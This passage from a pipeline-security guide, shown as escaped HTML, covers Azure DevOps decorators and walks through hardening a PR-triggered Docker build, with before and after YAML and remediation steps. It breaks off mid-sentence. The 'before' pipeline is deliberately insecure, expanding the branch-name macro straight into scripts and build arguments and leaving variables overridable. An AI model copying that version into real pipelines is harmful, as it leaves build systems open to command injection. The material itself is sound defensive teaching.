style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ecategories\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;secrets\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Job started: $(Build.BuildId) / $(System.JobName)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Repository: $(Build.Repository.Name)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e      echo \u0026#34;Agent: $(Agent.Name)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName: \u0026#39;[Decorator] Audit\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ejob start\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eDecorators run with higher trust than pipeline YAML. They cannot be removed or disabled from within the pipeline. Use them to inject credential scanning, runtime anomaly detection, and mandatory audit logging that applies to every pipeline in the organization without requiring any pipeline author action.\u003c/p\u003e\n\u003cp\u003eThe trade-off: decorators add execution time to every job. A 30-second credential scan adds 30 seconds to every pipeline run across the organization. Minimize decorator overhead by running scans in parallel with early job steps where possible, and scope decorators to specific agent pools if not all pipelines need the same controls.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"hands-on-example-hardening-a-pr-triggered-build-pipeline\"\u003eHands-On Example: Hardening a PR-Triggered Build Pipeline\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eScenario:\u003c/strong\u003e A security engineer audits a PR-triggered build pipeline that builds a .NET application and pushes a container image to a private registry. The audit finds three vulnerabilities: (1) \u003ccode\u003e$(Build.SourceBranchName)\u003c/code\u003e used directly in a shell script for image tagging; (2) the \u003ccode\u003econtainerRegistry\u003c/code\u003e variable is overridable at queue time; (3) the pipeline runs on fork PRs with access to the container registry service connection. All three need remediation without breaking the pipeline\u0026rsquo;s functionality.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eBefore — the vulnerable pipeline:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml — BEFORE: three injection vulnerabilities\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etrigger\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003emain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003epr\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003emain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io         \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# overridable at queue time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimageName\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildAndPush\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDocker@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build image\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-myregistry   \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# not a protected resource\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003erepository\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(imageName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#75715e\"\u003e# VULNERABILITY 1: branch name macro directly in a Dockerfile arg\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003earguments\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;--build-arg BRANCH=$(Build.SourceBranchName)\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003etags\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.BuildId)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# VULNERABILITY 2: containerRegistry variable used in script (overridable)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Pushing to $(containerRegistry)/$(imageName):$(Build.SourceBranchName)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              docker push $(containerRegistry)/$(imageName):$(Build.SourceBranchName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Push image\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Branch: $(Build.SourceBranchName)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              git tag -a \u0026#34;build-$(Build.SourceBranchName)\u0026#34; -m \u0026#34;CI build\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              git push origin \u0026#34;build-$(Build.SourceBranchName)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Tag commit\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eAfter — all three vulnerabilities remediated:\u003c/strong\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml — AFTER: all three vectors closed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003etrigger\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003emain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003epr\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003ebranches\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einclude\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003emain\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Require a comment from a team member before building fork PRs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# (configured in branch policy, not YAML — noted here for documentation)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003econtainerRegistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyregistry.azurecr.io\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ereadonly: true    # FIX 2\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ecannot be overridden at queue time\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eimageName\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003emyapp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ereadonly\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003etrue\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildAndPush\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# FIX 3: sc-myregistry is now a protected resource;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# fork PR pipelines trigger an approval prompt before this task runs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDocker@2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Login to ACR\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003ecommand\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003elogin\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003econtainerRegistry\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esc-myregistry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# FIX 1a: task replaced with bash script; branch name moved to env block.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# The Dockerfile receives it securely via --build-arg\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              docker build -t \u0026#34;$REGISTRY/$IMAGE_NAME:$(Build.BuildId)\u0026#34; \\\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e                --build-arg BRANCH=\u0026#34;$BRANCH_NAME\u0026#34; .\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build image (Secure)\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eREGISTRY\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(containerRegistry)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eIMAGE_NAME\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(imageName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eBRANCH_NAME: $(Build.SourceBranchName)   # safe\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003epassed as process data\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# FIX 1b: branch name consumed via environment variable in all scripts\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Pushing to $REGISTRY/$IMAGE_NAME:$(Build.BuildId)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              docker push \u0026#34;$REGISTRY/$IMAGE_NAME:$(Build.BuildId)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Push image\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eREGISTRY\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(containerRegistry)          \u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e# readonly var; safe to expand here\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eIMAGE_NAME\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(imageName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Branch: $BRANCH_NAME\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              # The shell substitution ${BRANCH_NAME//[^a-zA-Z0-9._-]/-} replaces\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              # any character that is not alphanumeric, dot, underscore, or hyphen\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              # with a hyphen — producing a safe git tag even with a crafted branch name\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              SAFE_BRANCH=\u0026#34;${BRANCH_NAME//[^a-zA-Z0-9._-]/-}\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              git tag -a \u0026#34;build-$SAFE_BRANCH\u0026#34; -m \u0026#34;CI build\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              git push origin \u0026#34;build-$SAFE_BRANCH\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Tag commit\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eBRANCH_NAME\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.SourceBranchName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eRemediation Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eFix Vector 1 (macro injection):\u003c/strong\u003e Move all \u003ccode\u003e$(Build.SourceBranchName)\u003c/code\u003e references from script bodies and task arguments into \u003ccode\u003eenv:\u003c/code\u003e blocks as \u003ccode\u003eBRANCH_NAME: $(Build.SourceBranchName)\u003c/code\u003e. Update all scripts to reference \u003ccode\u003e$BRANCH_NAME\u003c/code\u003e (Bash) or \u003ccode\u003e$env:BRANCH_NAME\u003c/code\u003e (PowerShell). Convert the \u003ccode\u003eDocker@2\u003c/code\u003e build task to a \u003ccode\u003ebash:\u003c/code\u003e script because \u003ccode\u003eDocker@2\u003c/code\u003e does not natively expand \u003ccode\u003eenv:\u003c/code\u003e blocks into its \u003ccode\u003earguments:\u003c/code\u003e field.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix Vector 2 (queue-time override):\u003c/strong\u003e Add \u003ccode\u003ereadonly: true\u003c/code\u003e to the \u003ccode\u003econtainerRegistry\u003c/code\u003e and \u003ccode\u003eimageName\u003c/code\u003e variable declarations. Alternatively, replace with typed string parameters with \u003ccode\u003evalues:\u003c/code\u003e constraints listing approved registries.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix Vector 3 (fork PR access):\u003c/strong\u003e In \u003cstrong\u003eProject Settings\u003c/strong\u003e → \u003cstrong\u003eService Connections\u003c/strong\u003e → \u003cstrong\u003esc-myregistry\u003c/strong\u003e → \u003cstrong\u003eSecurity\u003c/strong\u003e, enable \u0026ldquo;Protected resource.\u0026rdquo; Verify fork PR pipelines trigger an approval prompt before the Docker login task runs.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAdd defense-in-depth:\u003c/strong\u003e Add a compile-time validation block for any string parameters used in script arguments. Sanitize the branch name in the git tag step using a shell substitution to enforce safe characters. Use explicit \u003ccode\u003ebash:\u003c/code\u003e step types to ensure shell substitutions work consistently regardless of agent 